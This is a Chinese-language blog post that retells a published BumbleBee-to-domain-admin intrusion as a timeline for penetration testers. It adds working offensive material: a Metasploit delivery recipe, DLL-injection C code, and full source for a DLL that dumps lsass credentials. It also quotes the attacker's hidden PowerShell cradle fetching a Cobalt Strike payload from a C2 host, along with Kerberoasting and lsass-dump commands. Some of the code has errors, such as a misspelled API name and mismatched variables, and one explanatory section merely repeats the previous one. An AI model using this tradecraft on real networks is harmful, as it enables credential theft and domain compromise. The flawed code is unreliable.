0 前言
實戰案例還原《BumbleBee Roasts Its Way To Domain Admin》一文詳細的描述了一次滲透案例,但其文章組織架構建立在ATT&CK框架上,而不是按照時間線邏輯來組織,因此對於滲透人員瞭解學習其前後過程有些困難,特此梳理一番,按照時間線還原實戰。
《BumbleBee Roasts Its Way To Domain Admin》原文鏈接
1 第一天(Day1)
1.1 樣本投遞
看起來是通過郵件中的下載鏈接投遞到的目標環境中的機器,該樣本是一個有密碼的壓縮包。解壓縮後釋放文件BC_invoice_Report_CORP_46.iso。當掛載這個ISO文件,會釋放一個LNK文件documents.lnk,當雙擊這個快捷方式時會執行隱藏的惡意加載器。快捷方式的目標如下:
C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob
1.1.1 rundll32解析
使用rundll32加載執行是常用滲透套路,可以執行dll中的程序,一般還可以用來獲取shell:
use exploit/windows/smb/smb_delivery
set srvhost 10.x.x.x
exploit
1.2 加載惡意程序大黃蜂(BumbleBee)
加載器大黃蜂(BumbleBee)返回Cobalt Strike Session,攻擊者利用這個Cobalt Strike的shell釋放wab.exe,該可執行文件將有wmi執行。
C:\Windows\System32\webm\wmiprvse.exe -secured -Embedding
wab.exe將惡意代碼注入到其他兩個進程explorer.exe和rundll32.exe中。這裏根據原文來看使用的是遠線程注入,及使用經典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread這些Windows系統調用API進行進程注入。根據這些描述,攻擊者此刻是具備至少Administrator權限,一般情況下具備了Administrator權限也就有了System權限,從文章描述來看,攻擊者使用了getsystem來提權。遠線程注入實例代碼如下:
BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打開進程,獲取進程句柄
dwSize = 1+ ::lstrlen(pszDllFileName); //獲取dll大小
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申請內
::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向內存中寫入dll
pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//獲取函數LoadLibraryA的函數地址
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//創建遠線程
::CloseHandle(hProcess);
return TRUE;
}
1.3 被控主機信息收集
攻擊者使用多種命令來收集操作系統、網絡、用戶、軟件、進程、域等信息:
ipconfig /all #獲取網絡信息包含domain
ping -n 1 [domain] #測試domain連通性
net group "domain admins" /domain #獲取域管組成員
nslookup x.x.x.x #獲取x.x.x.x IP地址
tasklist #獲取進程信息
systeminfo #獲取系統信息
wmic product get name,version #獲取軟件信息
wmic /node"<redacted> process list brief #獲取進程信息
net view \\<redacted>\Files$ /all #列遠程服務器Files共享目錄
dir \\<redacted>\c$\ #列c盤目錄
tasklist /v /s x.x.x.x #遠程獲取x.x.x.x 進程詳細信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>
根據上文執行的命令來看攻擊者已經獲取了遠端服務器x.x.x.x的權限或者用戶名和口令。
1.4 橫向移動到服務器並繼續收集信息
原文描述利用local admin賬號通過RDP協議橫向移動到一臺服務器,並釋放了AnyDesk.exe作爲後門,然後開始利用adfind.exe繼續進行信息收集(根據描述,看來該服務器在域內):
cmd.exe /C af.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt
2 第二天(Day2)
2.1 在服務器上繼續收集信息
攻擊者繼續使用RDP登錄該服務器,並上傳了VulnRecon,一款專門設計用來在Windows機器上標識權限提升的路徑的工具。
3 第四天(Day4)
3.1 在被控主機上繼續收集信息
攻擊者在被控主機上及環境中的多臺機器,上傳了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具繼續信息收集。其中他們使用遠程服務來執行procdump來提取lsass.exe的內存從而獲取憑據,根據描述他們至少又獲得了幾臺主機和至少一臺服務器的權限。截止目前看起來尚未獲取與管理或更高的權限。使用adfind的過程發生在原始被控主機上,當然也不排除在新的橫移到的主機上進行。
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
3.1.1 VulnRecon 解析
VulnRecon有一個可執行文件和一個dll組成,分別是vulnrecon.exe和vulnrecon.dll,用來枚舉權限提升的方式以及信息收集,看起來是自定義的工具,上傳到原始被控主機上,當然也不排除在新的橫移到的主機上進行。
#
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb
# command
vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt
看起來提權是爲了執行procdump獲取lsass內存的,發生在原始被控主機上。
### 3.2 獲取lsass中的憑據根據描述dump出來的文件保存在ProgramData中,利用net use等方式可以獲取回來,使用mimikatz或者pypykatz進行破解。這些過程發生在從原始被控主機發現並橫向移動到的那些受害主機和服務器上。
C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp
4 第七天(Day7)
4.1 在被控服務器上繼續收集信息
攻擊者持續使用VulnRecon在服務器上進行信息收集,並且還使用了Seatbelt工具(一款常用的信息收集工具)。根據描述使用的是服務器的本地管理員權限。
Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
5 第十一天(Day11)
5.1 在被控主機上反彈shell
攻擊者持續被控主機上執行powershell命令,下載執行a文件的內容:
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"
根據在a中發現的cobalt strike 的默認配置字符MZRE可以斷定,這是一個回連C2地址的 cobalt strike的指令。然後攻擊者獲取了一個被控主機到攻擊者控制的C2。
![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)然後開始向其他進程進行注入,根據原文描述,應該注入到了類似svchost.exe等幾個進程。然後攻擊者執行了powershell模塊Invoke-Kerberoast,開始了kerberoasting攻擊。這裏依然是從被控主機開始都發起的。
#父進程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8
# 可以看出輸出是hashcat模式,攻擊應該是使用hashcat進行暴力破解
5.1.1 kerberoasting攻擊解析
kerberoasting攻擊解析分爲兩種:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell進行,其獲取的事Net-NTLMHash,可以使用hashcat等工具進行破解從而獲得ntlmhash或者password。
5.2 使用Minidump進行憑據提取
攻擊者又開始使用可以規避卡巴斯基的憑據提取方式minidump進行憑據提取。這裏依然是從被控主機開始都發起的。
#父進程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full
5.2.1 Minidump解析
攻擊者又開始使用可以規避卡巴斯基的憑據提取方式minidump進行憑據提取。這裏依然是從被控主機開始都發起的。
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege()
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我自己曾經編譯過該文件,在這裏再次感謝曾經A-Team的大佬們帶給我的滲透技術視野和國外XPN大牛樂於分享的精神。
5.3 在被控主機上繼續信息收集
在初始被控主機上繼續使用adfind收集信息。
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
5.4 在初始被控機器上再次執行powershell,與之前的相同
攻擊者持續被控主機上執行powershell命令,下載執行a文件的內容:
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"
以上過程在5.1中有詳細描述不再贅述
5.5 在更多機器上信息收集
在更多機器上執行下列命令:
C:\Windows\system32\cmd.exe /C net accounts /domain
C:\Windows\system32\cmd.exe /C net view /all
C:\Windows\system32\cmd.exe /C whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]
5.6 兩個批處理腳本
攻擊者上傳並執行兩個腳本s.bat和w.bat,這兩個腳本可以分析和發現環境內的其他目標。
# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log
5.7 最後
兩個腳本運行之後,一個新的cobalt strike的session在初始被控的機器上再次運行上線,然後攻擊者使用一個服務賬號進行橫移,在域控上執行獲取一個cobalt strike的session,根據原文描述這裏是一個弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值這個操作所爆破出來,攻擊者在域控上dump lsass。exe的進程內存從而獲取到domain admin的權限,打穿域控。